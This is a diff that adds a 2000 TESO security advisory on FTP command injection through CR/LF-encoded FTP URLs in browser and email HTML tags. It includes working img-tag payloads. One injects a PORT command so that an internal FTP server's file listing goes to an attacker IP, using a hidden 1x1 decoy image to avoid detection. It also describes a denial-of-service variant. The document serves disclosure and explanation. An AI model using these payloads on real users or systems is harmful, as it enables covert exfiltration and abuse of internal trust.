diff options
Diffstat (limited to 'informationals/teso-i0018.txt')
| -rw-r--r-- | informationals/teso-i0018.txt | 74 |
1 files changed, 74 insertions, 0 deletions
diff --git a/informationals/teso-i0018.txt b/informationals/teso-i0018.txt new file mode 100644 index 0000000..61fcb6b --- /dev/null +++ b/informationals/teso-i0018.txt | |||
| @@ -0,0 +1,74 @@ | |||
| 1 | 0018 2000/03/11 Exploiting FTP URL parsing within web browsers | ||
| 2 | |||
| 3 | ==== TESO Informational ======================================================= | ||
| 4 | This piece of information is to be kept confidential. | ||
| 5 | =============================================================================== | ||
| 6 | |||
| 7 | Description ..........: Exploiting FTP URL parsing within web browsers | ||
| 8 | Date .................: 2000/03/11 19:00 | ||
| 9 | Author ...............: scut | ||
| 10 | Publicity level ......: known | ||
| 11 | Affected .............: Web browsers which parse FTP URLs in HTML tags | ||
| 12 | Type of entity .......: implementation | ||
| 13 | Type of discovery ....: useful information | ||
| 14 | Severity/Importance ..: low | ||
| 15 | Found by .............: bugtraq readers | ||
| 16 | |||
| 17 | Information =================================================================== | ||
| 18 | |||
| 19 | Common web browsers such as Netscape Navigator and Microsoft Internet Explorer | ||
| 20 | have the ability to download files using the FTP file transfer protocol. It is | ||
| 21 | also possible to use an FTP URL as source address for binary files such as | ||
| 22 | images or other objects included within a HTML file. | ||
| 23 | |||
| 24 | However, the URL encoding scheme allows one to use encoded characters within | ||
| 25 | the URL, such as "%20" which means the character '\x20', which is a space. All | ||
| 26 | characters are allowed, no filtering takes place. | ||
| 27 | |||
| 28 | Therefore it's possible to use the FTP protocol command separator character | ||
| 29 | sequence which happens to be (CR, LF) too. This way arbitrary commands can be | ||
| 30 | executed on the FTP server the URL uses. | ||
| 31 | |||
| 32 | Example: | ||
| 33 | |||
| 34 | <img src="ftp://ftp.cdrom.com/foobar.gif%0d%0aHELP"> | ||
| 35 | |||
| 36 | This URL within the "src" parameter is translated by the browser (Netscape | ||
| 37 | Navigator in this case) to: | ||
| 38 | |||
| 39 | USER anonymous | ||
| 40 | PASS mozilla@ | ||
| 41 | REST 0 | ||
| 42 | SYST | ||
| 43 | PASV | ||
| 44 | TYPE I | ||
| 45 | SIZE /foobar.gif | ||
| 46 | HELP | ||
| 47 | |||
| 48 | The SIZE command uses the user supplied filename, which happens to be | ||
| 49 | "/foobar.gif\x0d\x0aHELP" and appends a CR,LF sequence to it, resulting in an | ||
| 50 | extra FTP command "HELP" being executed. | ||
| 51 | |||
| 52 | We can exploit this in several ways. One way would be to launch a denial of | ||
| 53 | service attack using this technique. To do this one would inject a few of this | ||
| 54 | modified FTP URLs into a high traffic web site which has lots of visitors. The | ||
| 55 | URLs would contain PORT commands to create a connection to another site and | ||
| 56 | then transfer a big file from the server to it. | ||
| 57 | |||
| 58 | In a similar way we can exploit IP based trust relationships. Given the | ||
| 59 | situation that user "joe" from company A uses an anonymous company internal ftp | ||
| 60 | server "private" to access his files. We know his email client is able to read | ||
| 61 | HTML emails, then we could inject a link such as: | ||
| 62 | |||
| 63 | <img lowsrc="http://blabla.com/transparent.gif" | ||
| 64 | src="ftp://private/foobar.gif%0d%0aPORT%20123,124,125,126,10,0%0d%0aNLST"> | ||
| 65 | |||
| 66 | Where 123.124.125.126 is our IP with a listening TCP socket on port 2560 | ||
| 67 | (10 * 256 + 0). We would receive a listing of the files in the "/" directory | ||
| 68 | once "joe" reads this mail. Since the "/foobar.gif" doesn't exist on "private" | ||
| 69 | his email client would use the "lowsrc" parameter, which can be a 1x1 pixel | ||
| 70 | dummy image to avoid detection. Also the whole URL can be encoded for | ||
| 71 | further obfuscation. | ||
| 72 | |||
| 73 | =============================================================================== | ||
| 74 | |||
